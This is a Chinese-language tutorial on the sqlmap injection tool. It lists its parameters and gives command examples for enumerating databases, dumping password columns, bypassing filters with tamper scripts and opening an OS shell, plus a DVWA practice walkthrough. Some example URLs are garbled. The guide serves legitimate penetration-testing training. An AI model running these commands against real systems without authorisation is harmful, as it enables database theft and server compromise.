一,SQLMAP的简介
SQLMAP 是一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。它配备了一个强大的探测引擎,为最终渗透测试人员提供很多强大的功能,可以拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。
下载地址:https://github.com/sqlmapproject/sqlmap/
官网地址:http://sqlmap.org/
SQLmap支持 MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite,
Firebird, Sybase and SAP MAXDB, MariaDB 等诸多主流的数据库管理系统(DBMS)
二,SQLmap的常见参数使用
设置目标URL:
参数:-u /--url
最基本格式 sqlmap -u "http: //www. target.com/index. php?id=1"
参数:-m
从文本中获取多个目标扫描,但是每一行只能有一个url。
基本格式:sqlmap -m urllist. txt
参数:-r
从文件中加载HTTP请求,这样的话 就不需要在去设定cookie, POST数据......
基本格式: sqlmap -r 1.txt
设置回显等级:
参数:-v 默认为1:
0、只显示python错误以及严重的信息。
1、 同时显示基本信息和警告信息。(默认等级)
2、 同时显示debug信息。
3、 同时显示注入的payload。
4、 同时显示HTTP请求。
5、 同时显示HTTP响应头。
6、 同时显示HTTP响应页面。
设定探测等级:
参数:--level (sqlmap -r 情况下)
共有五个等级,默认为1, sqlmap使用的payload可以在xml/payloads.xml中看
到,自己也可以根据相应的格式添加自己的payload
level>=2的时候就会测试HTTP Cookie
level>=3的时候就会测试HTTP User-Agent/Referer头
level=5的时候会测试HTTP Host
基本格式:sqlmap -r 1.txt --level=3
设定探测风险等级:
参数:--risk
共有三个风险等级,1-3:
默认是1会测试大部分的测试语句,
2会增加基于时间的测试语句,
3会增加OR语句的SQL注入测试。
注意:在有些时候,例如在UPDATE, DELETE的语句中,注入一个OR的测试语句, 可能导致更新的整个表,可能造成很大的风险。
基本格式:sqlmap -u "http:/A/vww.target.com/?id=1" --risk=2
设置HTTP数据包相关参数:
参数:--data
此参数是把data后面的数据以POST方式提交,当参数是POST提交的时候,但是你有没有抓取数据包,可以用URL+需要检查的参数。
基本格式:sqlmap -u "http://www.target.com/vuln.php" --data="id=1"
参数:--cookie
当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。
基本格式:sqlmap -u "http://www.target.com/vuln.php" --data="id=1" --cookie="Hm_lvt6910067,1546929561,1547001094,1547024662 HPSESSID=o64fbvo316lg59njufl2gfutm4;"
指定测试参数:
参数:-p
sqlmap默认会测试所有的GET和POST参数,当-level的值大于等于2的时候也 会测试HTTP Cookie头的值,当大于等于3的时候也会测试User- Agents HTTP Referer头的值。
基本格式:sqlmap -u "http:/A/vww.target.com/?id=1" -p "id,user-angent"
参数:--skip
在使用--level时,级别很大的时候,但是有些参数不能去测试,那么可以使用--skip参数跳过
基本格式:sqlmap -u "http:/A/vww.target.com/?id=1" --skip"user-agent,referer"
设置HTTP数据包相关参数:
HTTP User-Agents
参数:--user-agent
默认情况下sqlmap的HTTP请求头中的User-Agent值是:sqlmap/1.0-dev-xxxxxxxxx(http://sqlmap.org) 这个时候可以手动指定伪造一个User-Agent.
基本格式:sqlmap -u "http://www.target.com" --level 3 --user-agent="aaaaaa"
参数:--random-agent
会从/usr/share/sqlmap/data/txt/user-agents.txt中随机产生User-Agent头。
基本格式:sqlmap -u "http://www.target.com" --level 3 --random-agent
sqlmap检查uesr-agent中的注入点,level>=3才会去检查user-agent头是否存在注入漏洞
HTTP Referer头
参数:--referer
sqlmap可以在请求中伪造HTTP中的referer。当--level参数设定>=3时,会尝试进行referer注入。
基本格式:
sqlmap -u "http:/A/vww.target.com/?id=1" -- referer="http://www.baidu.com"
参数:--delay
可以设定两个http请求间的延迟,设定为1的时候是1秒,默认是没有延迟的。
参数:--timeout
可以设定一个http请求超过多少秒判定为超时,默认是30秒。
列数据:
--dbs(查看数据库), --users(查看所有用户), --passwords(查看所有用户密码)
--technique 指定使用哪种注入类型(B , E , U , T , S)
--current-db 当前数据库
--current-user 当前用户
--privileges 权限
-D database_name --tables 获取表
-D database_name -T table_name --columns 获取列
-D database name -T table name -C column_1,column_2 --dump 获取字段内容
使用shell命令:
参数:--os-shell 反弹交互shell
前提:需要网站的物理路径,其次是需要有对站点目录有FILE读写权限。
基本格式 : sqlmap -r "C:\sqlmap\request.txt" -p "id" --dbms mysql --os-shell
选择后端语言
接下来指定网站可写目录: 选择网站路径 : 2为自定义网站路径 d:/phpstudy/www
参数:--os-cmd=系统命令 执行系统命令
--batch 全自动
--start= 开始条数(导出数据时开始条数)
--stop= 结束条数(导出数据时结束条数)
--dump 导出数据
--dump-all 导出所有数据
--purge 清空缓存目录
三,SQLmap的使用示例
sqlmap -u "http://url/news?id=1" --current-user #获取当前用户名称
sqlmap -u "http://url/news?id=1" --current-db #获取当前数据库名称
sqlmap -u "http://url/news?id=1" --dbs #枚举所有数据库名
sqlmap -u "http://url/news?id=1" -D "db_name" --tables # 列出指定数据库的表名
sqlmap -u "http://url/news?id=1" -D "db_name" -T "tablename" --columns # 列列出指定数据库对应表的字段
sqlmap -u "http://url/news?id=1" -D "db_name" -T "table_name" -C "column_name" --dump #获取字段内容
sqlmap -u "http://url/news?id=1" --dbms "Mysql" --users #dbms指定数据库类型
sqlmap -u "http://url/news?id=1" --users #列数据库用户
sqlmap -u "http://url/news?id=1" --passwords #数据库用户密码
sqlmap -u "http://url/news?id=1" --sql-shell #执行指定sql命令
sqlmap -u "http://url/news?id=1" --os-cmd=whoami #执行系统命令
sqlmap -u "http://url/news?id=1" --os-shell #系统交互shell
sqlmap -u "http://url/news?id=1" --dbs -o "sqlmap.log" #保存进度
sqlmap -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume #恢复已保存进度
sqlmap -u "http://url/news?id=1" --tamper "base64encode.py" #加载脚本(可利用绕过注入限制)
四,基本的注入流程
1.判断注入点和数据类型:
(1)sqlmap -u http://www.test.php?id=1 --GET方法注入
(2)sqlmap -r /etc/url.txt –-POST方法注入(使用Burpsuite等代理工具拦截POST请求内容, 将POST请求内容保存在一个文本文件中,此处为url.txt,并用sqlmap调用)
2.判断数据库名(dbs):sqlmap -u "http://www.test.php?id=1" --dbs
3.判断表名(tables):sqlmap -u "http://www.test.php?id=1" -D 数据库名 --tables
4.判断列名(columns):sqlmap -u "http://www.test.php?id=1" -D 数据库名 -T 表名 --column
5.获取字段:sqlmap -u "http://www.test.php?id=1" -D 数据库名 -T 表名 -C 列名 --dump
查看获取的数据文件:
windows:C:\Users\Administrator\.sqlmap\output
Kali linux: /root/.sqlmap/output/
使用示例-使用Sqlmap获取DVWA数据
因DVWA需要登录,此处应选择的是POST方法注入,即需要先获取登录的cookie信息:
(1)设置Brupsuite和浏览器代理;
(2)拦截POST请求内容,并另存为url.txt,此处存放在/etc目录下;
(3)判断注入点和数据库类型:root@kali:~# sqlmap -r /etc/url
(4)判断数据库名:root@kali:~# sqlmap -r /etc/url --dbs
(5)判断表名:root@kali:~# sqlmap -r /etc/url -D dvwa --tables
(6)判断列名:root@kali:~# sqlmap -r /etc/url -D dvwa -T users --column
(7)获取user字段信息:root@kali:~# sqlmap -r /etc/url -D dvwa -T users -C user --dump
(8)获取passwor字段信息:root@kali:~# sqlmap -r /etc/url -D dvwa -T users -C password --dump
(9)获取除系统默认表外的所有数据:root@kali:~# sqlmap -r /etc/url --dump-all --exclude-sysdbs
|